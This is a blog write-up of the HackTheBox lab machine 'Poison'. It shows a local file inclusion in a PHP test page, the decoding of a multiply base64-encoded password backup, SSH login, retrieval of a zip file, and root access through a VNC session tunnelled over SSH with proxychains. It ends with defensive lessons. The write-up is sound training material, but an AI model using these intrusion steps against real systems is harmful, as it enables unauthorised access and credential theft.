Ducksec Feb 03, 2024 hackthebox, writeups

HackTheBox Poison Writeup

Poison is an older machine, but one of the few BSD boxes on the HTB platform - I felt like giving something a bit different a go!

Gaining user access

As always we’ll add poison.htb to our /etc/hosts file and give it a quick ping:

└──╼ $ping poison.htb
PING poison.htb (10.129.6.248) 56(84) bytes of data.
64 bytes from poison.htb (10.129.6.248): icmp_seq=1 ttl=63 time=20.6 ms
64 bytes from poison.htb (10.129.6.248): icmp_seq=2 ttl=63 time=17.4 ms

And let’s let nmap do its work:

└──╼ **$**nmap poison.htb -sC -sV  
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-03 09:21 GMT 
Nmap scan report for poison.htb (10.129.6.248) 
Host is up (0.017s latency). 
Not shown: 998 closed tcp ports (conn-refused) 
PORT  STATE SERVICE VERSION 
22/tcp open  ssh   OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0) 
| ssh-hostkey:  
|  2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA) 
|  256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA) 
|_  256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519) 
80/tcp open  http   Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32) 
|_http-title: Site doesn't have a title (text/html; charset=UTF-8). 
|_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32 
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd 

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 
Nmap done: 1 IP address (1 host up) scanned in 14.19 seconds

We have a webserver running, and ssh - a fairly typical nmap result. We can also confirm that this box is FreeBSD. Taking a look at the webserver, there’s a basic page for testing php scripts - sounds risky!

Let’s give listfiles.php a go..

It seems like the application is literally running the script we specify and returning the result, here we’ve got an array of files in the directory. That pwdbackup.txt sure does sound interesting. I wonder if the file is literally just being included by index.php - can we just feed the app pwdbackup.txt?

Yes we can, and here it is:

When viewing a text file in a browser we often get some formatting which is designed to be helpful, but can end up causing issues with unexpected spaces etc. This is also a bit hard to read, so we’ll use “view source” on the page to check out the raw text.

This looks like base64 - the 13 encoding runs hint is handy, but let’s first try it “as is” just in case…

└──╼ $echo "m0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVUbGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBSbVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVWM040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRsWmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYyeG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01GWkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYwMXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVaT1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5kWFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZkWGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZTVm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZzWkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBWVmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpOUkd4RVdub3dPVU5uUFQwSwo=" | base64 -d 
�L�
   �^UV��Q��֑��������ђ�ؑ�▒L�LU���Ԍ��U▒▒U\U�\�U�^T�ՕB���▒�Y[�U�]▒��\▒T���ՙ
���▒VU��Z�X��Ռ�Օ�Qѕ[���T�LR]��Q�▒������^XQ��Q������Ւ������U���▒LV����ґVV�U���[��Q��]Ֆ����М���Ֆ�U���Q��֚�U�����U�Ӎ▒֚��Q�֑���R�U��▒T�U�֑�������QTZ���Z��U��̓�U���
 ]U▒��U�T�Z�����▒�����
VUV�Ռ                 TL�^��T����ԌT���]���
����▒���U����Ԓ▒�MZT�L����U�^۔�����[\�T��՛��
         V��U��TZ����������V�Z���֑����[\�X[T^�[Z����V��Ց��]��VL����U^T����������L\Q��V��֕�U��T[Q��L�]���Q���▒������┌


No joy there, let’s use a bash one-liner to try 13 lots of base64 decoding instead.

└──╼ **$**data=$(cat encoded); for i in $(seq 1 13); do data=$(echo $data | tr -d ' ' | base64 -d); done; echo $data 
Charix!2#4%6&8(0

That works, and we have the password - just in case, well try to ssh as root, but this won’t work.

Lets go back to the app…

We’ve established that if we pass the name of a text file to it the data is simply included, so can we try an LFI?

Yes, we can - grabbing /etc/passwd provides us with a user list.

Note that again I’m using view source here to clean up the file and make it easy to read :)

It makes sense that the charix password is probably for that user so we’ll give that a go!

└──╼ **$**ssh charix@poison.htb 
(charix@poison.htb) Password for charix@Poison: 
Last login: Mon Mar 19 16:38:00 2018 from 10.10.14.4 
FreeBSD 11.1-RELEASE (GENERIC) #0 r321309: Fri Jul 21 02:08:28 UTC 2017 

Welcome to FreeBSD! 

Release Notes, Errata: https://www.FreeBSD.org/releases/ 
Security Advisories:  https://www.FreeBSD.org/security/ 
FreeBSD Handbook:    https://www.FreeBSD.org/handbook/ 
FreeBSD FAQ:      https://www.FreeBSD.org/faq/ 
Questions List: https://lists.FreeBSD.org/mailman/listinfo/freebsd-questions/ 
FreeBSD Forums:     https://forums.FreeBSD.org/ 

Documents installed with the system are in the /usr/local/share/doc/freebsd/ 
directory, or can be installed later with:  pkg install en-freebsd-doc 
For other languages, replace "en" with a language code like de or fr. 

Show the version of FreeBSD installed:  freebsd-version ; uname -a 
Please include that output and any error messages when posting questions. 
Introduction to manual pages:  man man 
FreeBSD directory layout:    man hier 

Edit /etc/motd to change this login announcement. 
To see how long it takes a command to run, type the word "time" before the 
command name. 
         -- Dru <genesis@istar.ca> 
charix@Poison:~ % 

And we’re in. As a side note, when I was doing this box ssh was very slow to come back with a login prompt -give it a minute, it will get there.

Escalation to root

Within charix’s home directory, we find a “secret.zip”, we’ll start with this since it seems like the obvious way forward. Firstly let’s get it on to our attack box. There’s no python3 on this box, but thankfully we do have Python 2, and I can just about remember how to start the server module!

charix@Poison:~ % python -m SimpleHTTPServer 9000 
Serving HTTP on 0.0.0.0 port 9000 ... 
10.10.14.24 - - [03/Feb/2024 10:32:49] "GET /secret.zip HTTP/1.1" 200 -

Back on my machine…

wget poison.htb:9000/secret.zip 
--2024-02-03 09:32:49--  http://poison.htb:9000/secret.zip 
Resolving poison.htb (poison.htb)... 10.129.6.248 
Connecting to poison.htb (poison.htb)|10.129.6.248|:9000... connected. 
HTTP request sent, awaiting response... 200 OK 
Length: 166 [application/zip] 
Saving to: ‘secret.zip’ 

secret.zip                   100%[====================================================================================================>]   166  --.-KB/s   in 0s    

2024-02-03 09:32:49 (9.04 MB/s) - ‘secret.zip’ saved [166/166]


The zip file is password protected - we could try to crack it, but charix has kindly reused their password so we can easily gain access with what we already have.

└──╼ $unzip secret.zip 
Archive:  secret.zip
[secret.zip] secret password: 
 extracting: secret  

The ZIP contains a singly binary file, we’ll need to find something to use it for…

Back to the target box then, and by far the most difficult aspect for me is working out how to use commands on FreeBSD - it’s similar enough that I basically know my way around, but most of the flags are different! After some clumsy enumeration and finally figuring out how to use netstat on this system, we can see there are a few services listening on localhost.

charix@Poison:~ % netstat -an -p tcp 
Active Internet connections (including servers) 
Proto Recv-Q Send-Q Local Address      Foreign Address     (state) 
tcp4    0    0 10.129.6.248.22     10.10.14.24.59344    ESTABLISHED 
tcp4    0    0 127.0.0.1.25      *.*           LISTEN 
tcp4    0    0 *.80          *.*           LISTEN 
tcp6    0    0 *.80          *.*           LISTEN 
tcp4    0    0 *.22          *.*           LISTEN 
tcp6    0    0 *.22          *.*           LISTEN 
tcp4    0    0 127.0.0.1.5801     *.*           LISTEN 
tcp4    0    0 127.0.0.1.5901     *.*           LISTEN 
charix@Poison:~ % 

5801 and 5901 are both VNC ports, which are used for remote desktop access. If we have VNC running locally, can we forward it to our box using ssh?

Thankfully PS works normally in BSD land so let’s quickly check who the process is running as:

charix@Poison:~ % ps -aux | grep vnc 
root  614  0.0  1.0  25724  9680 v0- I   09:36   0:00.10 Xvnc :1 -desktop X -httpd /usr/local/share/tightvnc/classes -auth /root/.Xauthority -geometry 1280x800 -depth 24 -rfbwait 1200 
charix 983  0.0  0.0   412  328  2  R+  10:55   0:00.00 grep vnc

Root! - Well that’s promising - VNC can use a binary file to perform cookie-based authentication - safe bet that’s what the secret file from the zip file is. Let’s give this a go…

I have my proxychains socks5 proxy running on port 5000, so firstly, we’ll need to ssh port forward, and then a new terminal tab we can use proxychains to try to connect to VNC.

[ProxyList] 
\# add proxy here ... 
\# meanwile 
\# defaults set to "tor" 
socks5  127.0.0.1 5000 
\#socks5  127.0.0.1 5001
ssh charix@poison.htb -D 5000

proxychains vncviewer 127.0.0.1:5901 -passwd secret

And indeed, this works a charm, up pops my NVC viewer, root session and all.

Success, we owned the box!

Alternative path

I ran out of time for this after completing the box, but after checking out a few other writeups I can see that it was also possible to gain a shell on the box using a log poisoning attack (I guess this was the intended route, since the box is called poison!). You can try that approach yourself if you like :)

Avoiding the Hack - Lessons learned

So what can we learn from this box? (other than the fact flags are weird in BSD). Firstly we have a publicly exposed testing application - this might seem like a contrived situation for HackTheBox, but in fact, this is surprisingly common. The fix is simple - any system which is going into a production state for any reason should be thoroughly validated against a pre-determined baseline, if a port, service, or application isn’t on the approved list, it shouldn’t be on a production instance. At the very least, regular system scanning should pick up on issues like these, but it’s far preferable to properly validate before deployment!

The application itself suffers from an LFI vulnerability which again isn’t all that surprising for a test application. Avoiding an LFI issue can be achieved by implementing strict input validation mechanisms to sanitise user inputs, and better yet avoiding user inputs in file paths whenever possible. If you have to use file inclusion, it’s a good idea to whitelist files, specifying allowed directories and files instead of using dynamic user-supplied input directly. On the system itself, enforcing proper access controls and least privilege principles, ensuring that the web server or application has the minimum required permissions to access files and directories can help to avoid critical or sensitive files from being disclosed. Both SE-Linux and Apparmour are a good way to achieve this kind of coverage without having to implement it manually.

Within the password backup file, it’s clear to see that 13 iterations of base64 encoding isn’t truly any sort of protection - certainly, without the hint it would have taken longer to work out, however, whichever way you look at it encoding is never more than obfuscation, and security by obscurity is never enough to rely on alone!

As is often the case, there’s password reuse on the zip file within the charix user’s home directory - this is another issue which is much more common than you might think. Users are often concerned about losing access to data if they forget a password, but there are better ways to manage this than re-using your system password. All this really means is that if an attacker is able to compromise your account, they can also access your “password-protected” files. Keep in mind too that this works the other way around - if you send out a password-protected zip file which is subsequently cracked, there’s a reasonable chance that the password for the zip file is also a user account password!

Finally, the VNC application running as root is an issue - as a rule, any interactive services shouldn’t run as root if at all possible. Of all the vulnerabilities on this machine, this one is the most likely to have a genuine reason to exist. Nonetheless, there’s almost always a better way to approach a problem than leaving an interactive process running as root.

See you in the next one! :)